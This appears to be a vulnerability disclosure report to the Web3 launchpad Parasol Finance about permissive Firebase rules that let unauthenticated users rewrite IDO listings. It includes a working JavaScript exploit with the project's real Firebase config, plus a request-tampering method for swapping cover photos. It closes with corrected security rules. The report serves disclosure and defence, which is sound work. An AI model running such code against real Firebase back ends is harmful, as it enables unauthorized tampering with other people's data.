---
# System prepended metadata

title: Parasol Finance Report

---

# Parasol Finance Report

## Description

Hi everyone! I'm working on personal research about Firebase in Web3 applications and I noticed that your Launchpad application [Parasol Finance](https://parasol.finance) has a common vulnerability in this type of BaaS (Back-end as a Service). 

The vulnerability allows unauthenticated attackers to modify the entire information about your application, in this case, the attackers can modify the entire information about the IDO, such as: `name, description, social networks`, and so on!

This is possible due to a misconfigured rules in your Firebase application that allows any user to modify, something like this:

```
match /COLLECTION_ID/{document}{
    allow read, write: if true;
}
```

or even:

```
match /{document=**} {
    allow read, write: if true;
}
```

To confirm the existence of this vulnerability I changed the information about 2 ended IDOs (the information modified already was been set to the default):
* [Nerv Protocol](https://parasol.finance/projects/22einmx7Sy5vQM9rBBqc5hV7R3aRVFvLwTeVBAXQDGg8)
* [Secretum](https://parasol.finance/projects/B7VtAxVQkG7htipRanZ1Uxd4nQSL8LKAmxXEmqH4wvUk)

## Exploit

To exploit this vulnerability I needed to create a custom exploit code to work inside your application, and for this, I needed to get all information about your Firebase Config, located at [this file](https://parasol.finance/_next/static/chunks/pages/_app-92ea831016b5bd65.js)
![](https://i.imgur.com/7aaIgiN.png)

For this exploitation, the Firebase apiKey wasn't needed as the application allows unauthenticated users to change the IDO data.

With this information in hands, was necessary to create a custom exploit code to get the current IDO and modify their data, the code can be found below:

```
import { initializeApp } from 'firebase/app';
import { getFirestore, doc as getDocRef, getDoc, updateDoc } from 'firebase/firestore';


//### Parasol Finance
const firebaseConfig = {
    apiKey: "",
    authDomain: "parasol-finance-21.firebaseapp.com",
    projectId: "parasol-finance-21",
    storageBucket: "parasol-finance-21.appspot.com",
    messagingSenderId: "795707072474",
    appId: "1:795707072474:web:c123c9dc6e35655b9eaae3"
}

const firebaseApp = initializeApp(firebaseConfig);
const firestoreObj = await getFirestore(firebaseApp);

let docRef = getDocRef(firestoreObj, 'ido-metadata/IDO_ID');

getDoc(docRef).then(async (project) => {
    let tmpProjectData = await project.data();
    console.log(tmpProjectData);
    tmpProjectData.description = 'rapt00r :P';
    await updateDoc(docRef, tmpProjectData);
})
```

By executing this code after changing the `IDO_ID` the exploit will change the project description to `rapt00r :P`.

## Proof of Concept

### Nerv Protocol

For this target, I don't need to use the exploit code above, was only necessary to intercept the request after submitting a new project, search for the request responsible to upload the cover photo, and change the parameters for attacking the target.

The image below illustrates the current project page:
![](https://i.imgur.com/Eqp7SOe.jpg)

The next image shows the request made by the application after submitting a new project:
![](https://i.imgur.com/m7WZrNt.jpg)


Notice that the IDO ID will be passed via this request.

To change the current cover photo of an arbitrary project, it's necessary to get this request and change the `projects/IDO_ID/filename.jpg` to your target ID and the same name of the cover, i.e, if the target IDO has a cover photo called `myido.jpg`, it's necessary to change the `filename.jpg` to `myido.jpg` in both cases when it appears (line 1 and line 23).

The next image shows the modification of this request to change the cover photo of the `Nerv Protocol` IDO:
![](https://i.imgur.com/nytMPj6.jpg)

As result, the cover photo was been modified as illustrated in the image below:
![](https://i.imgur.com/w6o2pQG.jpg)

### Secretum

For this target, I changed only the `description` by using the exploit code above.

The image below illustrates the current page before the execution of the exploit:
![](https://i.imgur.com/RbrKc4f.jpg)

The next image shows the page of the IDO after exploitation, which had the `description` changed:
![](https://i.imgur.com/3CYG04k.jpg)

## Impact

Attackers can modify the entire information about the IDOs and even create new IDOs without paying the necessary Fee.

## Recomendations

It's recommended to restrict the modification of the data with Rules inside Firebase, which only allows authenticated owners of the project to modify it.

A good rule to check if an authenticated user is the owner of the document can be found below:

```
// Check if the user is authenticated
function isAuth() {
    return request.auth != null;
}

// Check if the user is the owner of the document (it's necessary to create a new field called owner inside the IDO)
function userIsOwner() {
    return request.auth.uid == resource.data.owner;
}

// Apply the rule when a user can update or delet only if it's the authenticated owner and allows anyone to read the document.
match /ido-metadata/{document} {
    allow read: if true;
    allow update: if isAuth() && userIsOwner();
    allow delete: if isAuth() && userIsOwner();
}
```

## References
* [Firebase Security Rules - Google](https://firebase.google.com/docs/rules)